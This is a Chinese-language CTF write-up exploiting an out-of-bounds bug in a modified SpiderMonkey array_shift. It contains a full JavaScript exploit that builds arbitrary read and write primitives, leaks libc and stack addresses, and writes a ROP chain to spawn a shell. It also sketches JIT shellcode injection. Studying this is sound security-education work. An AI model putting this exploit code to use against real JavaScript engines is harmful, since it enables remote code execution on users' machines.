Mid Station

SpiderMonkey Exploitation - II

通过上一篇Introduction to SpiderMonkey exploitation.,对JS引擎的漏洞利用有了一个总体的认识。印象中有次比赛碰到了类似的SpiderMonkey题目,于是找到了2018年鹏城杯比赛的hackerscreed这题,同样是SpiderMonkey的引擎,但是从debug symbols来看版本稍微老旧一些,具体的版本号为mozjs-24.2.0。

记得去年鹏城杯线上赛的时候只有一个队伍能够完成这题,赛后准备复盘的时候发现是一道稍作改编的题目,原题来自之前一次韩国的比赛:Javascript Engine(Spider Monkey) Array OOB Analyzing,writeup都有了,只是漏洞函数的名字稍作改变。然而当时对JS解释器数据结构不熟悉,即使有writeup的情况下也没能够弄清楚原理复现,知道通过上一篇所记录的学习过程,才正式把题目做出来。

Vulnerbility

比赛一开始这题就被摆上了台面,也许主办方也意识到了js引擎题目在国内比赛当中的难度还是相当高的,为了调整一下难度,主动放出提示漏洞位于js::array_shift函数中,其实不需要逆向分析,直接构造测试也能发现问题:

1
2
3
4
5
6
7
8
9
js> a = [1]
[1]
js> a.shift()
1
js> a.shift()
1
js> a.length
4294967295
js> a

从这里看起来就是shift函数里面没有对数组length边界做好检查,导致空数组进行shift操作的时候数组的length被改成-1(0xffffffff),继而可以对数组进行越界读写操作(OOB)。根据原题wp所描述的对源代码的修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
js::array_pop(JSContext *cx, unsigned argc, Value *vp)
{
CallArgs args = CallArgsFromVp(argc, vp);

/* Step 1. */
RootedObject obj(cx, ToObject(cx, args.thisv()));
if (!obj)
return false;

/* Steps 2-3. */
uint32_t index;
if (!GetLengthProperty(cx, obj, &index))
return false;
----------------修改前-------------------------
/* Steps 4-5. */
if (index == 0) {
/* Step 4b. */
args.rval().setUndefined();
} else {
/* Step 5a. */
index--;

/* Step 5b, 5e. */
JSBool hole;
if (!GetElement(cx, obj, index, &hole, args.rval()))
return false;

/* Step 5c. */
if (!hole && !DeletePropertyOrThrow(cx, obj, index))
return false;
}
----------------------------------------------------
----------------修改后-------------------------
/* Step 5a. */
index--;

/* Step 5b, 5e. */
JSBool hole;
if (!GetElement(cx, obj, index, &hole, args.rval()))
return false;

/* Step 5c. */
if (!hole && !DeletePropertyOrThrow(cx, obj, index))
return false;
----------------------------------------------------

// Keep dense initialized length optimal, if possible. Note that this just
// reflects the possible deletion above: in particular, it's okay to do
// this even if the length is non-writable and SetLengthProperty throws.
----------------修改前-------------------------
if (obj->isNative() && obj->getDenseInitializedLength() > index)
obj->setDenseInitializedLength(index);
----------------------------------------------------
----------------修改后-------------------------
if (obj->isNative() )
obj->setDenseInitializedLength(index);
----------------------------------------------------

/* Steps 4a, 5d. */
return SetLengthProperty(cx, obj, index);
}

可以看到基本就是把index==0的边界条件给删除了,鹏城杯这题相比原题也仅仅是把pop函数换成了shift函数而已。

Head First Exploit

1
2
3
4
5
6
7
[*] '/Chanllage/PCB2018/hackerscreed/hackerscreed'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

由于保护全开的缘故,原题wp中介绍的是jit引擎的做法,而鹏城杯比赛给的wp中则是写栈上返回值做ROP的方法,我们用传统方法ROP来尝试一下。
由于这题的引擎版本比起上一篇介绍的更为老旧,很多数据结构都发生了改变。我们还是通过Math.atan2下断点观察对象的方法先看下内存的布局。

1
2
3
4
5
6
b = new Array(1, 2, 3, 4, 5, 6);
c = new Uint32Array(0x1337);
c[0] = 0xdeadbeef

Math.atan2(b);
Math.atan2(c);

bp1-1
通过js::math_atan2断点处检查vp[2],也就是这里$rdx+0x10处的内存,我们找到Array对象的内存,还记得上篇介绍的JSValue编码方式吗?这里的指针反编码后从0xfffbfffff6644ac0翻译成0x7ffff6644ac0。这里也可以看到了数组元素的位置了。上网搜了很久也没能找到gdb中通过指针和结构体symbol打印出对象的办法,算是一个小缺点吧,如果有同学找到相关的办法记得分享一下。在Array这里稍微往下翻还能找到其他的一些地址,比如在b[23]的位置可以泄露出一个elf的地址,由于这题是开了PIE的,所以这条泄露在后面会发挥用处。
bp1-2
继续运行到第二处断点,同样可以找到Uint32Array对象在内存中的位置,下图标出了该对象的size以及其buffer的指针。到了此处任意读读写源语的构造思路就清晰起来了:

  1. 通过b的越界写改写c的buffer指针和size指针
  2. 通过对c的读写完成任意读写操作

bp2
然而这里的内存分配方式好像和上篇介绍的又有差异,上一篇当中,b和c两个对象在内存中是紧挨在一起的,而这里两个对象却是相隔了0x6b80字节,因为有ASLR的影响加上对此处的内存管理机制没有深入研究,贸然通过一个硬编码偏移值来通过b的位置计算b的位置显然也是不恰当的,于是这里通过内存搜索的方法来找Uint32Array对象c。

1
2
3
4
5
6
7
8
var c_len_idx = 0;
for (var i=0; ;i++) {
if (b[i] == 0x1337 && b[i+1] == 5){ // 通过Uint32Array的length来搜索对象
c_len_idx = i;
break;
}
}
print("[+] idx of c.length: " + c_len_idx.toString(16))

分析到这里,配合JSValue数据的转换(主要是通过对double型数据的读写)就可以构造出完整的任意读写源语:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
b = new Array(1, 2, 3, 4, 5, 6);
c = new Uint32Array(0x1337);
c[0] = 0xdeadbeef

// trigger OBB
for (i = 0; i < 7; i++){
b.shift();
}

//search c
var c_len_idx = 0;
for (var i=0; ;i++){
if (b[i] == 0x1337 && b[i+1] == 5)
{
c_len_idx = i;
break;
}
}

print("[+] idx of c.length: " + c_len_idx.toString(16))
c_buf_idx = c_len_idx + 2;
c_buf_addr = readmem(b[c_buf_idx]);
print("[+] c_buf: " + c_buf_addr.toString(16));

function oob_read(base, idx) {
b[c_buf_idx] = toDouble(base);
return 0x100000000*c[idx/4+1] + c[idx/4];
};

function oob_write(base, idx, val) {
b[c_buf_idx] = toDouble(base);
c[idx/4] = val % 0x100000000;
c[idx/4 + 1] = val / 0x100000000;
};

完成了任意读写源语的构建,接下来就是一般linux pwn的漏洞利用思路了,通过泄露必要的地址来bypass ASLR,最后实现在栈的返回地址写ROP的目的,由于ELF是题目全开的,所以需要用以下思路来泄露地址:

  1. b[23]中泄露出一个代码段的地址,计算代码段的基地址。
  2. 通过代码段基地址计算GOT表地址,读取GOT表内容泄露libc地址,计算libc基地址。
  3. 通过libc基地址计算libc中environ变量的地址,读取environ变量泄露栈地址。
  4. 观察栈上属于main函数的返回地址,用于填写rop chain。
  5. 最后通过quit()触发rop chain。
    最后编写rop chain的时候也比较顺利,因为elf体积本身就大,包含了很多gadget,还因为plt段中已经包含了system函数,直接使用即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
function Int2Array(val) {
var res = [];
var hexed = ('0000000000000000' + val.toString(16)).substr(-16);
for (var i = 0; i < 16; i+=2)
res.push(parseInt(hexed.substring(i,i+2), 16));
return res;
}

function toDouble(val) {
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var view = new Float64Array(buffer);

byteView.set(Int2Array(val).reverse());
return view[0];
}

function fromDouble(val) {
var buffer = new ArrayBuffer(8);
var view = new Float64Array(buffer);
view[0] = val;
return new Uint8Array(buffer, 0, view.BYTES_PER_ELEMENT);
}

function readmem(arg){
res = "";
bytes = fromDouble(arg);
for (var i = 0; i < bytes.length; i++){
res += ('0' + bytes[bytes.length - 1 - i].toString(16)).substr(-2);
}
return parseInt(res, 16);
}

function toDouble(val) {
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var view = new Float64Array(buffer);

byteView.set(Int2Array(val).reverse());
return view[0];
};

function fromDouble(val) {
var buffer = new ArrayBuffer(8);
var view = new Float64Array(buffer);
view[0] = val;
return new Uint8Array(buffer, 0, view.BYTES_PER_ELEMENT);
};

b = new Array(1, 2, 3, 4, 5, 6);
c = new Uint32Array(0x1337);
c[0] = 0xdeadbeef;

for (i=0; i<7; i++) {
b.shift();
}

// leak code addr
js_code_leak = readmem(b[23]
code_base = js_code_leak - 0x15e530;
print("[+] js_code_leak: " + js_code_leak.toString(16));
print("[+] code_base: " + code_base.toString(16));

c_len_idx = b.indexOf(0x1337)
print("[+] idx of c.length: " + c_len_idx);
b[c_len_idx] = 0xffffffff;
c_buf_idx = c_len_idx + 2;
c_buf_addr = readmem(b[c_buf_idx]);
print("[+] c_buf: " + c_buf_addr.toString(16));

function oob_read(base, idx) {
b[c_buf_idx] = toDouble(base);
return 0x100000000*c[idx/4+1] + c[idx/4];
};

function oob_write(base, idx, val) {
b[c_buf_idx] = toDouble(base);
c[idx/4] = val % 0x100000000;
c[idx/4 + 1] = val / 0x100000000;
};

malloc_libc = oob_read(code_base, 0x790db0);
libc = malloc_libc-0x84130;
print("[+] libc: " + libc.toString(16));
environ_libc = libc + 0x10b3100;
stack_leak = oob_read(environ_libc, 0);
print("[+] stack_leak: " + stack_leak.toString(16));

main_ret_addr = stack_leak - 0x1e0;
system_plt = libc + 0x45390;
pop_rdi = code_base + 0x6c911;
pop_rsi = code_base + 0x6d3cf;
pop_rdx = code_base + 0xb80e9;
bin_sh = libc + 0x18cd57;
print("[+] main_ret_addr: " + main_ret_addr.toString(16));

oob_write(main_ret_addr, 0, pop_rdi);
oob_write(main_ret_addr, 0x8, bin_sh);
oob_write(main_ret_addr, 0x10, pop_rsi);
oob_write(main_ret_addr, 0x18, 0);
oob_write(main_ret_addr, 0x20, pop_rdx);
oob_write(main_ret_addr, 0x28, 0);
oob_write(main_ret_addr, 0x30, system_plt);

quit();

JIT Exploit

根据原题的wp,其实还可以通过改写JIT函数的方法来完成这题,与上一篇新版引擎不同的是,这个版本会把jit编译的字节码直接放到一段可读可写可执行的内存当中(新版不可写)。这样我们可以直接通过把shellcode注入到jit函数的方式来get shell。

原文中是通过搜索特征值的方法来找到jit函数地址的,感觉这种方法还是不太靠谱,而且复现的时候也没有成功。而尝试使用上一篇介绍的寻找指针的方法也没能够找到需要的JSJitInfo中指向可读可写可执行段的指针。可能还是因为gdb没有根据结构体symbol打印成员变量的功能造成了障碍。感觉这里如果要用JIT的方法来做就只能在to_jit函数中用const写特征值,然后在内存中搜索特征值定位,随后通过写入大段sled加shellcode的方式来getshell。

看起来非常暴力额,还是做ROP比较可靠吧。